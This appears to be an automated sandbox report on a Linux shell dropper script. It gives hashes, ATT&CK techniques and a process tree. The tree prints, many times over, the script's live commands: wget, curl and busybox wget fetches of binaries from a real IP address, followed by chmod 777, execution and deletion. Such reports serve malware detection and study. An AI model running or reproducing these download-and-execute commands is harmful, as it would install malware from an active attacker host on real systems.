2013171213d27c2f95f106cb7eca2000298cbb0f2d372071d99af8b12ed68e29

General

Target

2013171213d27c2f95f106cb7eca2000298cbb0f2d372071d99af8b12ed68e29.sh
Size

10KB
MD5

abfaa07509a98cf9d61a9ee03366064b
SHA1

29b8aa70ebe761df31582b1b62505f786b247305
SHA256

2013171213d27c2f95f106cb7eca2000298cbb0f2d372071d99af8b12ed68e29
SHA512

f075902543aeb6d5a01e97c8cde8c65e59b945c859a7b846c14d98263366506322b3b33a50f3dba6f4ab67698396cf4e90cf9ab26835c00dce9124844ed97329
SSDEEP

192:qJBElpvTXslVFDTABtsvA9tovAEdXjJJBElp9TXslVjVDTABtKy:8DTABtsvAHovAEdXjBDTABtKy

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	process
838	chmod
908	chmod
956	chmod
773	chmod
809	chmod
748	chmod
863	chmod
878	chmod
896	chmod
740	chmod
815	chmod
962	chmod
926	chmod
932	chmod
857	chmod
944	chmod
914	chmod
938	chmod
869	chmod
902	chmod
890	chmod
974	chmod
734	chmod
884	chmod
950	chmod
968	chmod
802	chmod
920	chmod

Executes dropped EXE 28 IoCs

Processes:

ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqwh2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39pxEVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj11nCDdhzlnSnXajJ21CutBer3j9YONbDPcPq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmchK1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBTweqJNBf8c2g1fJM1o23r3J0gI8VptLGhPaE2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDEk7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGotDzQkhNshKptEsPA3ltf516QgABeKEiBY8RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1uSC3qKbILRW2hWzlMHFetryS3VaErrO79PDZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJtDzQkhNshKptEsPA3ltf516QgABeKEiBY8RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1uSC3qKbILRW2hWzlMHFetryS3VaErrO79PDZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJONYgz1i23gINWr7sttSVyPQ1K9qtovRiqwh2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW111nCDdhzlnSnXajJ21CutBer3j9YONbDPcPq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmchK1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBTweqJNBf8c2g1fJM1o23r3J0gI8VptLGhPaE2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDEk7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGoFMLH2xw3uQIVGQz3rTgpSiVEtHMceP39pxEVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

rmwgetbusyboxK1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBTbusyboxK1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBTrmcurlwgetcurl

pid process

817 rm
812 wget
814 busybox
816 K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
943 busybox
945 K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
946 rm
813 curl
941 wget
942 curl

pid	process
817	rm
812	wget
814	busybox
816	K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
943	busybox
945	K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
946	rm
813	curl
941	wget
942	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for modification	/tmp/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD	curl
File opened for modification	/tmp/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch	curl
File opened for modification	/tmp/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE	curl
File opened for modification	/tmp/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u	curl
File opened for modification	/tmp/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px	curl
File opened for modification	/tmp/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8	curl
File opened for modification	/tmp/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo	curl
File opened for modification	/tmp/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc	curl
File opened for modification	/tmp/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa	curl
File opened for modification	/tmp/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE	curl
File opened for modification	/tmp/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo	curl
File opened for modification	/tmp/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ	curl
File opened for modification	/tmp/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8	curl
File opened for modification	/tmp/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa	curl
File opened for modification	/tmp/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ	curl
File opened for modification	/tmp/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw	curl
File opened for modification	/tmp/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1	curl
File opened for modification	/tmp/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD	curl
File opened for modification	/tmp/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT	curl
File opened for modification	/tmp/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw	curl
File opened for modification	/tmp/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px	curl
File opened for modification	/tmp/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj	curl
File opened for modification	/tmp/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch	curl
File opened for modification	/tmp/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u	curl
File opened for modification	/tmp/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc	curl
File opened for modification	/tmp/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj	curl
File opened for modification	/tmp/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1	curl
File opened for modification	/tmp/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT	curl

/tmp/2013171213d27c2f95f106cb7eca2000298cbb0f2d372071d99af8b12ed68e29.sh
/tmp/2013171213d27c2f95f106cb7eca2000298cbb0f2d372071d99af8b12ed68e29.sh
1⤵
PID:702

/bin/rm
/bin/rm bins.sh
2⤵
PID:706

/usr/bin/wget
wget http://87.120.84.230/bins/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
PID:712

/usr/bin/curl
curl -O http://87.120.84.230/bins/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:724

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
PID:732

/bin/chmod
chmod 777 ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
- File and Directory Permissions Modification
PID:734

/tmp/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
./ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
- Executes dropped EXE
PID:735

/bin/rm
rm ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
PID:736

/usr/bin/wget
wget http://87.120.84.230/bins/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
PID:737

/usr/bin/curl
curl -O http://87.120.84.230/bins/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:738

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
PID:739

/bin/chmod
chmod 777 h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
- File and Directory Permissions Modification
PID:740

/tmp/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
./h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
- Executes dropped EXE
PID:741

/bin/rm
rm h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
PID:742

/usr/bin/wget
wget http://87.120.84.230/bins/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
PID:743

/usr/bin/curl
curl -O http://87.120.84.230/bins/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:744

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
PID:745

/bin/chmod
chmod 777 FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
- File and Directory Permissions Modification
PID:748

/tmp/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
./FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
- Executes dropped EXE
PID:749

/bin/rm
rm FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
PID:751

/usr/bin/wget
wget http://87.120.84.230/bins/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
PID:753

/usr/bin/curl
curl -O http://87.120.84.230/bins/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:760

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
PID:768

/bin/chmod
chmod 777 EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
- File and Directory Permissions Modification
PID:773

/tmp/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
./EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
- Executes dropped EXE
PID:775

/bin/rm
rm EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
PID:778

/usr/bin/wget
wget http://87.120.84.230/bins/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
PID:779

/usr/bin/curl
curl -O http://87.120.84.230/bins/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:787

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
PID:798

/bin/chmod
chmod 777 11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
- File and Directory Permissions Modification
PID:802

/tmp/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
./11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
- Executes dropped EXE
PID:803

/bin/rm
rm 11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
PID:805

/usr/bin/wget
wget http://87.120.84.230/bins/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
PID:806

/usr/bin/curl
curl -O http://87.120.84.230/bins/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:807

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
PID:808

/bin/chmod
chmod 777 Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
- File and Directory Permissions Modification
PID:809

/tmp/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
./Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
- Executes dropped EXE
PID:810

/bin/rm
rm Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
PID:811

/usr/bin/wget
wget http://87.120.84.230/bins/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- System Network Configuration Discovery
PID:812

/usr/bin/curl
curl -O http://87.120.84.230/bins/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:813

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- System Network Configuration Discovery
PID:814

/bin/chmod
chmod 777 K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- File and Directory Permissions Modification
PID:815

/tmp/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
./K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:816

/bin/rm
rm K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- System Network Configuration Discovery
PID:817

/usr/bin/wget
wget http://87.120.84.230/bins/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
PID:818

/usr/bin/curl
curl -O http://87.120.84.230/bins/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:825

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
PID:832

/bin/chmod
chmod 777 weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
- File and Directory Permissions Modification
PID:838

/tmp/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
./weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
- Executes dropped EXE
PID:840

/bin/rm
rm weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
PID:843

/usr/bin/wget
wget http://87.120.84.230/bins/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
PID:844

/usr/bin/curl
curl -O http://87.120.84.230/bins/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:851

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
PID:856

/bin/chmod
chmod 777 E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
- File and Directory Permissions Modification
PID:857

/tmp/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
./E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
- Executes dropped EXE
PID:858

/bin/rm
rm E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
PID:859

/usr/bin/wget
wget http://87.120.84.230/bins/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
PID:860

/usr/bin/curl
curl -O http://87.120.84.230/bins/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:861

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
PID:862

/bin/chmod
chmod 777 k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
- File and Directory Permissions Modification
PID:863

/tmp/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
./k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
- Executes dropped EXE
PID:864

/bin/rm
rm k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
PID:865

/usr/bin/wget
wget http://87.120.84.230/bins/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
PID:866

/usr/bin/curl
curl -O http://87.120.84.230/bins/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:867

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
PID:868

/bin/chmod
chmod 777 tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
- File and Directory Permissions Modification
PID:869

/tmp/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
./tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
- Executes dropped EXE
PID:870

/bin/rm
rm tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
PID:871

/usr/bin/wget
wget http://87.120.84.230/bins/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
PID:872

/usr/bin/curl
curl -O http://87.120.84.230/bins/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:873

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
PID:877

/bin/chmod
chmod 777 RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
- File and Directory Permissions Modification
PID:878

/tmp/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
./RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
- Executes dropped EXE
PID:879

/bin/rm
rm RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
PID:880

/usr/bin/wget
wget http://87.120.84.230/bins/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
PID:881

/usr/bin/curl
curl -O http://87.120.84.230/bins/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:882

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
PID:883

/bin/chmod
chmod 777 SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
- File and Directory Permissions Modification
PID:884

/tmp/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
./SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
- Executes dropped EXE
PID:885

/bin/rm
rm SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
PID:886

/usr/bin/wget
wget http://87.120.84.230/bins/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
PID:887

/usr/bin/curl
curl -O http://87.120.84.230/bins/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:888

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
PID:889

/bin/chmod
chmod 777 ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
- File and Directory Permissions Modification
PID:890

/tmp/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
./ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
- Executes dropped EXE
PID:891

/bin/rm
rm ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
PID:892

/usr/bin/wget
wget http://87.120.84.230/bins/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
PID:893

/usr/bin/curl
curl -O http://87.120.84.230/bins/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:894

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
PID:895

/bin/chmod
chmod 777 tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
- File and Directory Permissions Modification
PID:896

/tmp/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
./tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
- Executes dropped EXE
PID:897

/bin/rm
rm tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
2⤵
PID:898

/usr/bin/wget
wget http://87.120.84.230/bins/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
PID:899

/usr/bin/curl
curl -O http://87.120.84.230/bins/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:900

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
PID:901

/bin/chmod
chmod 777 RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
- File and Directory Permissions Modification
PID:902

/tmp/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
./RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
- Executes dropped EXE
PID:903

/bin/rm
rm RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
2⤵
PID:904

/usr/bin/wget
wget http://87.120.84.230/bins/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
PID:905

/usr/bin/curl
curl -O http://87.120.84.230/bins/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:906

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
PID:907

/bin/chmod
chmod 777 SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
- File and Directory Permissions Modification
PID:908

/tmp/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
./SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
- Executes dropped EXE
PID:909

/bin/rm
rm SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
2⤵
PID:910

/usr/bin/wget
wget http://87.120.84.230/bins/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
PID:911

/usr/bin/curl
curl -O http://87.120.84.230/bins/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:912

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
PID:913

/bin/chmod
chmod 777 ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
- File and Directory Permissions Modification
PID:914

/tmp/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
./ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
- Executes dropped EXE
PID:915

/bin/rm
rm ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
2⤵
PID:916

/usr/bin/wget
wget http://87.120.84.230/bins/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
PID:917

/usr/bin/curl
curl -O http://87.120.84.230/bins/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:918

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
PID:919

/bin/chmod
chmod 777 ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
- File and Directory Permissions Modification
PID:920

/tmp/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
./ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
- Executes dropped EXE
PID:921

/bin/rm
rm ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
2⤵
PID:922

/usr/bin/wget
wget http://87.120.84.230/bins/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
PID:923

/usr/bin/curl
curl -O http://87.120.84.230/bins/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:924

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
PID:925

/bin/chmod
chmod 777 h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
- File and Directory Permissions Modification
PID:926

/tmp/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
./h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
- Executes dropped EXE
PID:927

/bin/rm
rm h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
2⤵
PID:928

/usr/bin/wget
wget http://87.120.84.230/bins/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
PID:929

/usr/bin/curl
curl -O http://87.120.84.230/bins/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:930

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
PID:931

/bin/chmod
chmod 777 11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
- File and Directory Permissions Modification
PID:932

/tmp/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
./11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
- Executes dropped EXE
PID:933

/bin/rm
rm 11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
2⤵
PID:934

/usr/bin/wget
wget http://87.120.84.230/bins/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
PID:935

/usr/bin/curl
curl -O http://87.120.84.230/bins/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:936

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
PID:937

/bin/chmod
chmod 777 Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
- File and Directory Permissions Modification
PID:938

/tmp/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
./Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
- Executes dropped EXE
PID:939

/bin/rm
rm Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
2⤵
PID:940

/usr/bin/wget
wget http://87.120.84.230/bins/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- System Network Configuration Discovery
PID:941

/usr/bin/curl
curl -O http://87.120.84.230/bins/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:942

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- System Network Configuration Discovery
PID:943

/bin/chmod
chmod 777 K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- File and Directory Permissions Modification
PID:944

/tmp/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
./K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:945

/bin/rm
rm K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
2⤵
- System Network Configuration Discovery
PID:946

/usr/bin/wget
